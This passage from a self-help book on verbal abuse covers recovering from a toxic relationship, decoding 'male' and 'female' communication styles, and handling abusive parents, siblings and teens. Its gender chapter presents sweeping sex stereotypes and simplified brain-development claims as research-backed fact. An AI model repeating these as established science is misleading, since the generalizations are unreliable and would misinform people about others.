for more verbal hell. It is not worth it!
It's also not worth the legal hassles that would await you. Instead, listen to the song “Got the Message” on my
Love Healing—Music for the Heart cassette or CD (ordering information is in the back of the book). I'm not
just being a self-promoter here; I am trying to help you through music. I have received letters and phone calls
from people all over the country telling me that this album has helped them tremendously in getting over some
of the most difficult moments in their lives.
Mourning and Waking Up Renewed in the Morning.
Certainly you will go through a roller coaster of emotions, and grieving the relationship, no matter how
verbally toxic it was. The key here is to hurry up and grieve, so that you can get on with a brand-new, healthy,
and positive perspective on life. A therapist or great friends can help you with this grieving process by allowing
you to verbally vent. The best way to get over this difficult period is to make a list of all the verbally toxic
things your opponent ever said to you. It doesn't matter if you don't remember the exact words. Just write down
the specific circumstances or the different times it occurred.
Whenever you are feeling down and wishing you could go back to the relationship, just pull out your list. That
will cure you and speed up your emotional recovery period!

Page 169
When You're on the Verbal Merry-Go-Round
After you have finished mourning, you will from time to time have negative thoughts about the verbal
tormentor. Do the “Stop the Thought” Technique mentioned earlier in this book. It will help you a lot!
Also, find solace in the fact that what goes around comes around. You might not see the immediate results, but
rest assured they will suffer the consequences of their actions. If they are treating you with verbal disrespect,
chances are they are doing the same with others. As I said earlier in this chapter, leopards don't change their
spots.
Never forget what they did to cause you such pain! And yes, no matter what the self-proclaimed gurus tell you,
you do not cause yourself pain, others cause you pain.
Forgiving Yourself Right Now!
Look, you didn't purposely seek out this verbal abuse. Chances are that you were attracted to this individual, no
matter what area of your life he was in, and you found out what a verbal jerk he was! It's not your fault! You
did nothing wrong, trust me! The only thing you need to examine is if there is a pattern here. If you find that
your life has been filled with too much verbal abuse, you may want to look at why this is so. Perhaps there was
something familiar about their behavior, something that you were conditioned by early on in life. If that is the
case, you have to be conscious of this and watch yourself so that you are not drawn to another similar type of
person.
Later on in the book, I share with you the various types of verbal abusers. Examine these types carefully. Once
again, you might see even more of a specific pattern developing with regard to the person you're attracted to.
And yes, as a counseling psychologist, I am strongly promoting the value of my profession. Go see one! Earlier
I told you how to find one, so do yourself a huge favor and see one as soon as possible.
Make Yourself Feel Reeeeal Good!
This is the time you have for yourself!
As I said earlier, the best thing you can do is get professional help of some kind. The next thing you can do is
to heal yourself.
Next, pamper yourself! And I mean major pampering! Don't feel guilty. This is money well spent! Pretend you
are a prince, princess, sheik, king, or queen, and take one day off to book yourself solid in order to do things
with the sole purpose of making yourself feel not only good but great!

Page 170
Whatever it is, do it and enjoy! Here is a list to give you some ideas for having this great day just for you.
• Go to the theater or a live sporting event (no matter how expensive it is).
• Go somewhere or do something you always wanted to, although you never had the time or the energy.
• Go dancing or to a club.
• (Unless you have an alcohol problem) Go to a bar (even a cigar bar) and have all the drinks you want,
providing that you do not drive home in a drunken state (you don't want to make it your last day!).
• Go shopping and splurging on whatever you want, forgetting about the money and knowing that you will
somehow pay it off in time.
• Get a manicure, pedicure, facial, haircut and style; get waxed (if you are a woman or a man for that matter),
get a shave at the barber's (if you are a man), and top it all off with a warm and relaxing bubble bath, followed
by a full body massage.
• Have many of these pampering specialists in your home to carry out your regimen of being pampered.
• Lie in bed all day sleeping.
• Have an eating marathon, not caring about diets and calories, but eating your favorite food, perhaps in your
favorite restaurants, even going to a different restaurant for coffee, breakfast, lunch, tea, dinner, and drinks.
• Have a book marathon, reading everything you ever wanted to read.
• Participate in a sport you love or take lessons in a sport you always wanted to try—for example, snowskiing,
waterskiing, in-line skating, hang-gliding, horseback riding, skeet shooting, and polo.
• Have a video marathon, watching every video you've ever wanted to see.
• Spend the day having a sex marathon with a loved one.
No matter what it is that you do, you have one sole purpose, and that is to make YOU feel good. No calls! No
meetings! No problems! This is your day and your day only, so take advantage of it, cherish it, and don't feel
guilty about it!
This pampering can also help prevent you from going back to the verbal abuser or heal the emotional pain and
distress she caused you! Whenever you think of her or see another one coming your way, think of this
marvelous day, and it will help you get through the difficult days.
Page 171
Page 173
PART 4
VERBAL WARFARE WITH SPECIFIC PEOPLE IN YOUR LIFE
We have been brought up to believe that all people are created equal and need to be treated the same. In
reality, people are not all created equal. They are created quite differently. Some people are pushier, nastier,
quieter, sneakier, friendlier, happier, and sadder than others. Now we know that there is not only a
biochemical component to these behaviors, but also a very strong environmental influence.
At this point, it doesn't matter how or where the toxic verbal behavior began. The only thing that matters is the
fact that these adversaries don't make you feel good whenever they are in your presence or whenever you think
of them.
These verbally toxic people seem to crop up in just about every area of your life! They might appear in your
own family, at work, when you need to deal with a professional, or when you're minding your own business,
going about your daily life. These verbal abusers, who will be discussed in Chapters 17, 18, and 19, are
everywhere!
In this part you learn how to actually deal with these people, depending who they are in your life, and what
your relationship is to them. You'll learn to apply appropriate techniques, depending not only on who that
person is, but upon what “verbal crimes” they've committed against you.
Page 175
Chapter 14
Gaining the Winning Verbal Edge Between the Sexes
No more male bashing! No more female bashing! No more lectures about how different men and women are!
No more hearing how “men are from Mars and women are from Venus!” Trust me, we get it! We don't need to
be beaten over the head with the same information. In this chapter, you learn less commonly shared
information that strictly concerns how men and women speak to one another. I will discuss specific body,
facial, and head positions, vocal patterns, pronunciation of sounds, words, phrases, and content of speech that
are specifically indigenous to men or to women. This chapter is not designed to make you feel bad or guilty for
how you speak to members of the opposite sex. Instead, it is designed to teach you the language of the opposite
sex, so that you will know what the other truly means by what he or she says.
Because today's litigious society demands respect and equality, you have no choice but to put the information
you learn in this chapter into action. If you do, you'll never experience the pain and frustration that comes from
miscommunication.
Page 176
What's the Real Deal?
What is the number one reason for divorce? What is the number one reason for marital affairs among couples?
With the exception of medical problems, what is the major reason for sexual dysfunction among couples? What
is one of the main reasons women are not advancing up the corporate ladder as rapidly as they should?
Aside from a few unsavory individuals whose main concern is financial gain, why are there so many sexual
harassment suits bombarding our courtrooms today? The common denominator of all of these questions is
“lack of communication.” This lack of communication between the sexes is a serious issue, so serious that it
can determine not only the quality of your professional life, but your personal life as well. It can even affect the
seemingly benign things you do on a daily basis and your interactions with people you encounter throughout
the day.
Not knowing how to effectively speak and understand employers, employees, and co-workers of the opposite
sex can make the time you spend at work “hell on earth.”
Learning to Be Bilingual
Perhaps the people who have the best opportunities in life are those who know another language. I know this
first-hand. Understanding and speaking languages other than English has proven to be invaluable to me in my
personal and professional life. Even understanding certain dialects and slang words and expressions among
young people has helped me, as I mentioned earlier in this book (see “Bingo! You Got the Lingo!” in Chapter
9).
What has been the advantage of knowing these different languages, aside from allowing me to order a meal, get
appropriate hotel service, and understand spoken direction (so I don't get lost) in another country? Knowledge
of these languages has helped people to relate to me more quickly and to have immediate affection for me,
unless of course I'm yelling at someone who has been totally mean and obnoxious to me. Similarly, when
women learn to speak “man talk” and men learn to speak “woman talk,” suddenly there is more affection,
camaraderie, communications, friendships, and more exciting intimate relations.
Throughout the rest of the chapter you learn how to speak one another's language and decode the signals, so
that you never again have to worry about being misunderstood.
Page 177
Once Upon a Time There Was an Infant Boy and Girl
Men are raised differently than women are—yes, even in this day and age when we are supposed to be more
sophisticated and aware. We clearly see this difference in people as early as infancy. For example, in a study at
an Ivy League university, men and women were put into a room with infant boys and girls. Before entering the
room, the men and women were told that the infants were all little girls. As they entered and stayed in the
room, both men and women spoke in a soft voice, making delicate cooing sounds and saying comments to the
infants such as “You're so pretty.” “Look at how beautiful you are.” “You are a little princess.” There was
hardly any physical contact.
Next, these same men and women were lead into another infant nursery, where—they were told—all the babies
were little boys. Upon entering the room and subsequently spending some time there, the behavior of the adults
changed greatly. The decibel level rose. The infants were actually taken out of their cribs and held under their
arms as they kicked the air beneath them. The adults used phrases such as “What a big strong boy,” “You're
gonna grow up to be a football player,” and “Hey, you little pumpkin head.”
More often than not, a parent will tolerate a boy's impoliteness—“Gimme that”—over a girl's impoliteness,
insisting that “little girls don't talk that way and have to say ‘please’ and ‘thank you.’”
There's Only One Brain!
Now of course I have to bring in the other element—not nurture, but the biology of how little boys and girls are
wired neurologically and hormonally. Unlike little boys, little girls have an initial growth spurt in the left
hemisphere of the brain. As a result of this difference in neurological development, they tend to become more
fluent and develop a greater repertoire of speech and language skills than boys. Little boys take about four
years to catch up with this growth spurt. In the meantime, some serious environmental stimulation has taken
place, and little girls get more parental verbal attention because they are more responsive, due to the advanced
growth of their neuroanatomy.
In this case, the behavior of parents corresponds to real physiological characteristics. This is not true in the case
of parents conditioning their sons to be more mechanically and mathematically inclined. The right hemispheres
of boys' brains do not grow more rapidly than those of little girls; the difference is purely environmental. In
fact, I, along with many other specialists in the field, believe that if little girls were equally encouraged in
mechanical and cognitive abilities, we would observe little or no differences between the sexes in this area.

Page 178
What Shall We Talk About?
A major study by Dr. Adelaide Haas at the State University of New York department of Speech
Communication found that the conversation topics most likely discussed among men and women vary greatly.
The following list shows the topics in order, based on gender:
Women Men
1. Men 1. Women
2. Food 2. News events
3. Family relations 3. Sports
4. Clothing 4. Arts
5. News events 5. Sex
6. Work-related issues 6. Work-related issues
Men tend to discuss things and what they did, while women tend to discuss their feelings about what they did
as well as their feelings about other people.
What does all of this mean? It means a lot! It means that when you are around the opposite sex, you will be
more confident in bringing up these topics, as you will establish a communication bond more quickly.
He Says—She Thinks! She Says—He Thinks!
Because there is such confusion in the way men and women speak to one another, a man might innocently say
something to a woman that causes her to fly off the handle. In turn, she might say something that aggravates
him. Both of these people have no
Page 179
clue why the other has gotten so mad at what they said. The man often thinks the woman might just be going
through PMS. The woman, on the other hand, thinks that the guy is just being a jerk. “Who is right? Who is
wrong? What is going on here? First of all, nobody is right! And nobody is wrong! In fact, they are both right!
The man is just talking “male,” while the woman is understanding what he says in “female.” Conversely, the
woman speaks “female” while the man hears in “male.” It's as simple as that! If the man understood her
“female” language and the woman understood his “male” language, I wouldn't be using them as an example in
this book.
Here are five common examples of conversations that are misinterpreted merely because one person doesn't
really understand the other's language. I'm sure that at one point or another, every one of us has experienced at
least one of these situations.
No-No Scenario 1
John (in the living room while Mary is in the kitchen): Hey, Mary, get me a beer!
Mary: Get you what?
John (thinking she didn't hear him, he yells even louder): GET ME A BEER!
Mary: Get it yourself! Who do think I am, your maid?
John (shocked): What is wrong with you? All I asked you was for a lousy can of beer and here you go and
chop my head off!
Mary: Well, I don't appreciate being ordered around like some slave!
John: Who is ordering around? What is this? Do you have PMS or something?
No-No Scenario 2
Ann (wearing a brand new outfit, hair perfectly coifed, and looking stunning): So, how do I look?
Bob: You look nice.
Ann: Nice, what do you mean?
Bob: I mean, nice.
Ann: Well, if you don't like how I look, why don't you just tell me!
Bob: I am telling you. You look nice.
Ann: Look, if you want me to change my outfit I will.
Bob: What are you talking about? What's wrong with you?
Page 180
No-No Scenario 3
Dave (seeing Debra sulking and looking sad): What's wrong?
Debra: Nothing!
Dave: Are you sure?
Debra: Yes. I said nothing's wrong.
Dave: Well, then, how come you are sulking?
Debra: You should know!
Dave: No, I don't know! Tell me!
Debra: Well, if you don't know, I'm not going to tell you.
Dave: If I knew then I wouldn't be asking you.
No-No Scenario 4
Fred: I can't believe the day I had. Everything went wrong—from getting a ticket, to getting reprimanded at
work, to losing an account, to hearing that my cousin John is in the hospital.
Jill: I had an awful day too. I saw so many clients today. I overdrew money in my account…
Fred (cutting her off): Why do you always do this to me?
Jill: Do what to you?
Fred: Compete with me?
Jill: Compete with you? What are you talking about.
Fred: What you said just now, you're competing with me—your day was worse than mine.
Jill: I'm just trying to relate to you and comfort you.
Fred: Well, you're not!
No-No Scenario 5.
Tina: You never call!
Jack: Yes, I do.
Tina: No, you don't, and you never surprise me with flowers or any gifts!
Jack: What did I do for your birthday?
Tina: That was a year ago! Two years ago you got me a junky bracelet. You didn't even bother to get me
anything on Valentine's day four years ago. You never even remembered my birthday!

Page 181
Jack: That was in the past. Why do you always have to bring up the past?
Do any of these scenarios sound familiar to you? If they do, you are definitely not alone. These scenarios typify
the common miscommunication between men and women. Either sex might think they are being kind or
neutral, but in reality they are perceived as mean, bitchy, unreasonable, and insulting. The following section
gives a translation of what was really meant to be conveyed in each of the scenarios.
He Says—He Means! She Says—She Means!
In Scenario 1, when John says “Get me a beer,” Mary interprets that as being ordered around, feeling that John
is insensitive to the fact that she too just came home from a hard day's work. When he repeats it again, in an
even louder voice, Mary is furious and lets him have it by telling him to get it himself while using a huffy and
upset voice. John is totally confused about what happened here. His only explanation is that Mary must be
tense due to pre-menstrual syndrome. Unknowingly, John created this situation, which results in both parties
being upset.
Scenario 1
Shoulda Said
Had he said “Honey, would you mind please getting me a beer since you're at the refrigerator? I'd really
appreciate it,” none of this would have happened.
Bottom line solution: Don't talk in command terms!
Scenario 2
Shoulda Said
In Scenario 2, when Bob answers Ann's question about how she looks with the bland and benign word “nice,”
Mary thinks that he doesn't like what she's wearing or how she looks. His one-word response with this vague
word really didn't satisfy her insecurities and, more important, her desire to have Bob think she looks beautiful
and sexy.
Had Bob said “Honey, you look [phenomenal, gorgeous, beautiful, sexy, fantastic]” (take your pick), Ann
would have felt great, thereby boosting her confidence, especially her confidence about how Bob saw her. She
would have felt wonderful because she was able to provide Bob with something pleasing to his eyes. Had he
gone on to explain in more detail why she looked so gorgeous (for instance, “Your hair looks so shiny and
silky and that color brings out the green in your eyes”), she would have felt even better.
Bottom line solution: Use more descriptive adjectives. Never use average or bland words.

Page 182
Scenario 3
Shoulda Said.
Had Debra honestly opened up and told Dave what was the matter, he would not have become so frustrated
with her. He felt hopeless and confused, emotions that subsequently turned into anger.
Bottom line solution: Don't think that the other person is a mind reader. Open up and say what's on your mind.
Scenario 4
Shoulda Said
Had Jill not told him about her day, immediately after Fred poured his heart out to her, he would not have
become irritated with her. Innocently, Jill was just trying to make him feel better by sharing with him that he
wasn't alone and that she too had a bad day. She was trying to be empathetic; Fred interpreted this as her being
competitive with him, being insensitive to his distress, ignoring his feelings, and not providing him with the
sensitivity and nurturing he needed.
After Fred verbally unloaded his burden, Jill needed to say something like “Oh, I'm so sorry, you must feel
awful. What happened when you got the ticket?” She could have asked him to give her more detail about
anything else that upset him about his day. That way, he would think that she really cared and was greatly
concerned about him.
Bottom line solution: Listen to a problem. Be sympathetic and ask questions (in kind tones) to further explore
the person's problem so that he or she can vent further. Never talk about what's bothering you and your
problem until after you have completely addressed his.
Scenario 5
Shoulda Said
Had Tina not started out the conversation accusing Jack, he might have been less defensive and less closed off
to her plight. To top it off, she brings up things from the past that have nothing to do with what's going on in
the present. Because of her accusations and whining, he probably never feels like getting her a gift, or for that
matter, even seeing her.
Tina needed to start the conversation saying something to the effect of “It really hurts my feelings” or “It really
makes me sad when I don't get a gift from you as a token of how you feel about me.” Jack probably would have
answered with “Oh, I am so sorry, you know I love you. It's just hard for me to pick out gifts. I wasn't raised
with gift giving, so it's not important to me. But since it means a lot to you, I'll be more conscious of it.” Later
that day or the next day, Tina might indeed be surprised by his token of affection. Instead, Tina put him on the
defensive. And she added insult to injury by bringing up his misdeeds of the past. This further alienated him
and

Page 183
made him feel more defensive and angry. Now he felt like really never wanting to get her anything.
Bottom line solution: Don't accuse. Instead, tell how the situation makes you feel. Secondly, don't bring up the
past.
Oh! So That's What You Meant!
The next two sections explain how to speak “male language” and “female language.” Included are some of the
most common body signals, facial signals, words, phrases, and conversations that are indigenous to each of the
sexes. As was discussed earlier, this has a lot to do with our social conditioning!
Not all males do these typical behaviors, nor do all females exhibit the typical female behavior patterns. What I
discuss in this section is general information, where the psychosocial research done on these areas reflects the
norm—the typical communication pattern used by the general population of males and the general population
of females.
Don't be surprised if you recognize yourself as you read some of the points that are common to a specific sex.
You might see how you have misinterpreted the actions of the opposite sex, thereby causing yourself
unnecessary emotional pain, frustration, and aggravation. On the other hand, perhaps there are several
behaviors you don't do—this indicates that you either were raised with a better understanding of how to
communicate with the opposite sex, or learned by experience. Now is your opportunity to learn everything you
didn't know before about the main points indigenous to the communication skills of the opposite sex.
Basic Male 101
This section lists typical male communication patterns—some of the key things men communicate and how
they may be misinterpreted. A woman's knowledge of these patterns will help her to realize that men's
seemingly rude, distant, or obnoxious behavior is not that at all. In their innocence, men are just speaking
“male.”
Body Language:
1. Taking up more space. Perception: they are hogging space and trying to take over.
2. Sitting further away. Perception: they don't like the woman.
3. Gesturing with their fingers, often pointing their finger. Perception: they are admonishing you.
4. Fidgeting and shifting their bodies more than women do. Perception: they are not interested or are anxious to
leave the situation.

Page 184
5. Assuming a more reclined position when sitting or leaning back when listening. Perception: they are being
judgmental.
Facial Language:
1. Cocking their head to the side and looking at the person at an angle while listening to them. Perception: they
are being judgmental or disinterested.
2. Frowning and squinting when listening. Perception: disapproval.
3. Using little eye contact in positive interaction. Perception: they are disinterested and distant.
4. Providing fewer facial expressions and fewer reactions than women when listening. Perception:
disagreement or disapproval.
5. Avoiding eye contact and not looking directly at the other person. Perception: disinterest or dislike.
Speech and Voice Patterns:
1. Interrupting and allowing fewer interruptions from others. Perception: they regard the other person as
unimportant or not knowledgeable.
2. Using less intonation or vocal inflection. Perception: disinterest, disapproval, apathy, and dislike for the
other person.
3. Allowing more silence during conversation lulls. Perception: they have nothing more to say and want to end
the conversation.
4. Giving more command terms. Perception: they are acting with hostility.
5. Using fewer emotional state verbs (such as “I feel,” “I hope,” “I love”). Perception: they don't care and are
insensitive.
Communication:
1. Teasing more, playing practical jokes, and using sarcasm as humor (often making a joke out of “sensitive”
issues). Perception: acting in a hostile way and not liking the woman.
2. Apologizing less often after an argument. Perception: being stubborn and uncaring.
3. Liking to hear accolades about themselves and talking more about their accomplishments. Perception: they
are being egomaniacal.
4. Confronting issues less. Perception: being uncaring and disinterested and purposely hurting the woman.
5. Disclosing less personal information. Perception: they are hiding something, being dishonest (possibly
cheating).
Page 185
6. Invading one's personal space more than women do. Perception: being obnoxious and trying to be
intimidating.
Basic Female 101
Before a man thinks that the woman is driving him nuts or just having PMS, here are some common
communication actions that typify women's communication patterns. Knowing about them can save the male a
lot of unnecessary grief and nurture a more positive and upbeat—and in turn, healthy—relationship.
Body Language:
1. Assuming a more forward position than men when sitting or listening, and leaning forward. Perception:
caring a lot about what is said; extreme interest.
2. Having a weaker handshake. Perception: being weak and powerless.
3. Sitting closer to men. Perception: the woman really likes the man.
4. Taking up less physical space, and sitting with arms and legs towards the body. Perception: being inhibited
and submissive.
5. Sitting directly in front of a man, and having forward face-to-face contact. Perception: being extremely
interested in the man or being forward. It can also be misconstrued as an uncomfortably confrontational act.
Face Language:
1. Nodding head “yes” even when not in agreement. Perception: Wanting to be liked and accepted.
2. Lowering their head during every negative confrontation. Perception: being weak and submissive.
3. Providing more animated facial expressions during conversation. Perception: being overly emotional.
4. Eyes facing the person directly when speaking. Perception: being forward or even invasive.
Speech and Voice Patterns:
1. Allowing more interruptions. Perception: being weak.
2. Ending sentences with a rising pitch, adding a tag ending to a declarative statement, or asking a question
when it calls for making a statement (for example, “It's a nice day?” or “It's a nice day, isn't it?”). Perception:
being uncertain, weak, not powerful, and not in control.
3. Using more intensifiers such as “very,” “really,” and “much.” Perception: being overly effusive and
exaggerating, and being more emotional.
Page 186
4. Saying more words per sentence or thought. Getting very detailed and taking a long time to get to the point.
Perception: being unprofessional, wasting time, being thoughtless, scattered, and frivolous (this usually creates
the reaction of impatience).
5. Often having voices that are too high, breathy, and little girl-sounding. Perception: being a lightweight, less
bright.
Communication Patterns:
1. Tending to take rejection more personally. Perception: being overly sensitive.
2. Not laughing at or responding favorably to practical joke and cutting sarcastic humor. Perception: having no
sense of humor.
3. Trying to match troubles by relating similar experiences. Perception: competing with the man or trying to
top him, and not listening to or caring about what he says.
4. Confronting issues and situations more than a man would. Perception: being nagging or harping on the past
(this often makes the man feel angry and defensive).
5. Censoring thoughts less than men and communicating more through stream-of-consciousness. Perception:
being ditsy, spacey, or flighty.
See What I Mean?
In looking at the differences in the preceding section, it is no wonder that men and women are always at one
another's throats. Little wonder that these misinterpretations of the male and female language result in
explosions of tempers and devastation of feelings. It is sad and, when you think about it, also rather amusing. If
we had the key to unlock the box of mysteries about how the opposite sex communicates, there would be less
divorce, fewer sexual harassment suits, and much less ill will between one another. Now you have some of the
tools right at your fingertips.
The next section lists several easy steps men can take to immediately improve their relationships with women,
and women with men. I have chosen only some points for each sex, since they represent the differences leading
to the most common misunderstandings.
Note than I am not trying to turn men into women and women into men! I am just giving you some things to do
if you want to modify your communication patterns when you deem it necessary, in order to get along much
better. Of course, these are only suggestions, but rest assured that if you do employ them, you might see some
amazing and instant results.

Page 187
What Men Need to Do
1. Stop making commands. Make requests instead.
2. Always use the words “please” and “thank you” whenever making a request. Use terms of politeness as
often as possible.
3. Use more psychological state verbs to express how you are feeling.
4. Don't be embarrassed to ask for help as soon as possible.
5. Don't use sarcastic or cutting humor.
6. Don't interrupt.
7. Don't take up so much room physically.
8. Have more enthusiasm in your voice. Don't wear your emotions on your sleeve. Instead, wear them on your
vocal tones.
9. Don't lecture someone—have a dialogue and not a monologue.
10. Look at a person face to face when speaking.
11. Use more descriptive adjectives.
12. Don't frown when listening.
13. Show more emotional reaction in your face when you speak and listen.
14. Open up more—don't use one-word responses to answer questions.
15. Don't keep changing topics midstream in a conversation a woman brings up.
16. Stop fidgeting and rocking back and forth.
17. Disclose more personal information about yourself.
18. Don't point your finger at people when talking to them, especially when you want to express a point.
19. Apologize immediately if you have done something wrong.
What Women Need to Do
1. Get to the point—stop beating around the bush.
2. Never cry in a work situation when frustrated, no matter what.
3. Never use tag endings or make a statement as though it sounds like a question.
4. Never match experiences or tragedies. Listen and sympathize instead.
5. Lower the pitch of your voice and talk louder.
Page 188
6. Don't hold grudges.
7. Don't apologize if you haven't done anything wrong.
8. Don't accuse or you'll always lose! Ask instead!
9. Think about what you are going to say and are saying. Edit and don't say everything that comes into your
mind.
10. Don't shake your head “yes” (indicating agreement) just to be polite, when you really disagree or aren't
interested.
11. Take up more physical space and move around more when you speak.
12. Stay in the present. Don't bring up the past when arguing about an issue at hand.
13. Speak up in terms of what's bothering you. After all, the other person is not a “mind reader.” You have to
clearly state what's bothering you and stop playing the guessing game with him.
14. Disclose less personal information about yourself.
15. Be more open to “male humor.” Even if you can't relate to it, don't dismiss it or chastise men for using it.
16. Bring up more male-oriented topics.
17. Make fewer tentative statements that indicate “I'm not sure” or “maybe.”
18. As impossible as a task might seem, try not to take criticism and rejection personally, in a way that affects
your self-esteem, security, and subsequent performance.
19. Speak in more modulated tones, so that you don't give the illusion of being out of control emotionally.
20. Try not to giggle or laugh all the time, especially when you are feeling nervous and uncomfortable.
Saving You a Lot of Grief!
Incorporating the majority of these points, where appropriate, may help you in all aspects in your life where
you need to communicate effectively with the opposite sex—from the boardroom to the bedroom. Sometimes,
when you are fully aware of these differences, you no longer get upset, irritated, hurt, or confused by what the
other said. Instead, you now know that it's just “male talk” or “female talk.” You have the option of doing
something about it or doing nothing.
The basic message of this chapter is that just being aware of these differences can make you laugh, chuckle,
smile knowingly, or shake your head. Now you know for sure that
Page 189
what is being said by the opposite sex is not intended negatively or meant to irritate you, intimidate you, or hurt
your feelings.
Therefore, you won't get angry, cry, feel sad and depressed, or jump to conclusions that have no basis
whatsoever! If you take advantage of everything in this chapter pertaining to your new-found understanding of
the opposite sex, you'll save yourself an enormous amount of grief!
Page 191
Chapter 15
Blood Is Not Always Thicker Than Water!
Just because people are related to you doesn't mean you have to take their verbal abuse. You might say, “Well,
after all, it's my mother (or father); it's my flesh and blood.” Although this is true, there are some family
members who can make your flesh crawl and make your blood boil. Even if someone happens to be a family
member, you still need to protect yourself against his verbal venom, which, as we discussed earlier in the book,
could even be life-threatening. Now you have choices! You can use different techniques on different family
members—whichever is most likely to work. The purpose of the general technique is to get you the results that
you need to establish a harmonious and peaceful relationship with people to whom you are related.
Defense Against Verbally Abusive Parents
When your parents verbally abuse you, your first instinct is to say or do something to stop them, but then you
might hold yourself back, reasoning that after all, they are still your parents.
Page 192
While all religious teachings encourage honoring your father and mother, clearly some parents have no
business becoming parents. Such parents physically, mentally, and emotionally abuse their children to the point
that they inflict painful, severe, and irreparable damage on their offspring. This verbal abuse doesn't occur only
in childhood—it is carried on into teen and adult years.
Long-Lasting Effects
This damage is so lasting that I have seen the devastating results in my own private practice. In fairness to the
parents, most do not mean to become verbal terrorists. Often a continuous legacy of verbal abuse exists: They
learned it from their parents, who in turn learned it from their parents, and so forth. Sometimes parents will
make fun of their child without even realizing the comments' devastating and lasting impact on their children's
psyches.
Your Best Bet!
Parents' most common crime is to be the accusing critic or cut down their child constantly, even to point where
they are unaware of it, and it becomes second nature.
If this has been done to you, you should use the Direct Confrontation technique discussed in Chapter 11 to help
heal your emotional wound. Your parents need to be told directly and bluntly that what they are saying is very
hurtful to you and that you would appreciate if they did not “get on your case” all the time.
Most parents react well to this approach, which needs to be repeated on a number of occasions. In essence, you
have to recondition them. Old habits and ways of talking are hard to break. So when your parents do the same
thing again and again, don't just get angry—continue to use direct confrontation. The more often you set limits
with them, the more your request will be ingrained into their minds.
The reason most parents nag you is not because they mean to hurt you. In fact, they want the best for you and
only have your interests at heart. But many parents don't know how to express this. It takes time and patience to
establish boundaries and new ground rules for any relationship. Therefore, in addition, to the Direct
Confrontation Technique, try using the Tension Blowout Technique to help you to become more non-reactive.
The Tension Blow-out Technique is when you breathe in through the mouth as you think of a tension
producing situation or a verbally abusive or toxic person. You hold the breath in for five seconds and then with
all your might, BLOW out the air as forcefully as you can while thinking of that person. Your goal is to not
allow your parents to “push your buttons,” which causes you to react in your usual manner of either harshly
lashing back or holding it in so much that you suffer.

Page 193
If after reading this section you realize that you are a verbally abusive parent, stop this behavior immediately.
Use the breathing technique you learned about earlier. Breathe in, hold it, and then speak. This technique
allows you to have more control over what you say to your child and how you say it.
This technique is merely the one you start with. Depending on what type of verbal abuser your parent is,
however (which you will learn about in the next two chapters), your parent might require additional
approaches. For example, if your parent refuses to listen, verbally abuses you, and even physically abuses you,
in such a harsh and continuous fashion, you may have no choice but to use the Unplug Technique.
Sometimes it is effective for a little while. Your total unplugging from them can be so painful for them that for
the first time they might actually hear your pain and stop contributing to it. In other cases, the scars are so deep
and the abuse is so bad that you will need to let go forever!
Defense Against Verbally Abusive Siblings
Brothers and sisters probably cause one another more emotional pain and agony than anyone else. This is the
result of the competitive element common between siblings.
Too Close for Comfort
Why are siblings so competitive? Perhaps they are living proof of the old adage that “familiarity breeds
contempt.” Each sibling thinks he or she knows the other quite well, and, consequently, they often assume that
their own values and wants are the same as their sibling's. This is the main reason brothers and sisters get on
one another's nerves. They inevitably do things differently, and one sibling might lose respect for another,
thinking the other is doing it wrong. Therefore, a fight ensues; one constantly puts the other down, creating an
uncomfortable and hostile environment.
Page 194
Your Best Bet!
Perhaps the best technique to use with your verbally toxic siblings is humor. This might take the edge off of
things and allow them to see the light. If humor doesn't work, the Love and Kindness approach can be very
effective. In this approach, you confront them directly, letting them know how much their words and actions
hurt your feelings and how much you care about them and don't want anything to come between the two of
you.
If the verbal fighting won't stop and gets so intense that it leads to blows and physical fighting, you need to
“unplug,” usually for an extended period of time. Siblings often desperately need time apart in order to
regroup. In some cases, they come to see how empty their lives are without one another, and they reunite with a
newfound mutual respect. But it can take days, months, or even years of separation for siblings to overcome the
emotional hurt and pain created by verbal and even concomitant physical abuse.
More rarely, the damage is irreparable and there is no hope. Even siblings who have applied all of the
techniques mentioned in Chapters 10 and 11, and have “unplugged” for a while might still resume their same
behavior when they come back together. For the sake of the mental (and physical) health of both parties, they
need to go their separate ways permanently.
Verbal Defense with Teens
It is not uncommon today to hear teens freely mouthing off at their parents, or at anyone else for that matter—
teachers, service workers, anyone who stands in the way of them doing whatever they want to do. When they
are restricted from doing what they want to do, they usually rebel.
In the “Talk Back!” section that follows, you will see a conversation that has occurred in most households.
What are parents to do when their teen speaks to them so abusively? The answer is simple: Don't ever allow
them to. The first time you hear your teen talking this way to you should be the last time. You need to nip it in
the bud and be consistent as a parent.
Page 195
Talk Back
Mom: Tom, I want you to clean your room. It's a mess.
Tom: I don't wanna.
Mom: Okay, then you aren't leaving this house until you do.
Tom: But I have to meet everyone at two o'clock for a ballgame.
Mom: Too bad. Until I see a clean room, you're not going anywhere.
Tom: (extremely angry): *&^$@ #&%!!!!!!
Mom: No way will you ever use that language in this home, ever! [Said using
the Give 'Em Hell and Yell Technique.]
Do you understand? Never talk to me like that. Show some respect! Do you
know how it makes me feel when you talk to me like that? [Direct Confront
Technique.]
It hurts me so deeply. I have tried my best for you in every way and I have
enough self-respect that I cannot allow you to speak this way, to me under any
circumstances! How would it make you feel if I spoke like that to you, especially
in front of your friends? How would you feel if I constantly talked trash to you
and treated you like dirt—as though you were worthless and unimportant to me?
[Calm Questioning Technique.]
I love you so much and want you to grow up to be as wonderful as you really are
inside. I asked you to straighten up your room, not to be mean or unreasonable. I
want you to live in a pleasant environment, with order and no chaos, so that you
can find things and enjoy where you live. I want you to develop good habits that
you can carry with you in college and as an adult. Please don't disappoint me and
hurt me by talking to me like that when I am trying my best to give you
everything I can as a parent. [Love and Kindness Technique, said in a soft and
loving tone.]
This dialogue illustrates the combination of verbal self-defense techniques, including Give 'Em Hell and Yell,
Direct Confrontation, Calm Questioning, and Love and Kindness. One or more of them can be used to get your
point across. Chances are that if you use these techniques, your teen will hear what you are saying. One of
these ways will be the key to unlocking communication with them. They have to know that you will not
tolerate them throwing verbal trash at you!
Trash Talkin' Teens
Just listen to some of the music teens listen to. Listen to a phone conversation or a face-to-face conversation
they are having with their friends. You'll be quite shocked—things aren't the same as when you were growing
up! In the past few years, teens have heard so many obscene words in songs and films that the words have no
effect on them at all. They speak in curses as though they are saying something as benign as “how are you
doing?” For instance, the “f” word, which we used to regard as extremely vulgar and offensive, is now used in
a number of ways. Sometimes it is used as a noun,
Page 196
for something pleasant (“Did you hear their new CD? Those f—ers were great!”) or unpleasant (“I'm gonna get
that little f—er”). Similarly, as an adjective, it can also be used either negatively (“Get your f—ing car out of
here”) or positively (“Your f—ing car is awesome”).
Whether a teenager uses the term in positive or negative way among his or her teenage peers, however, the
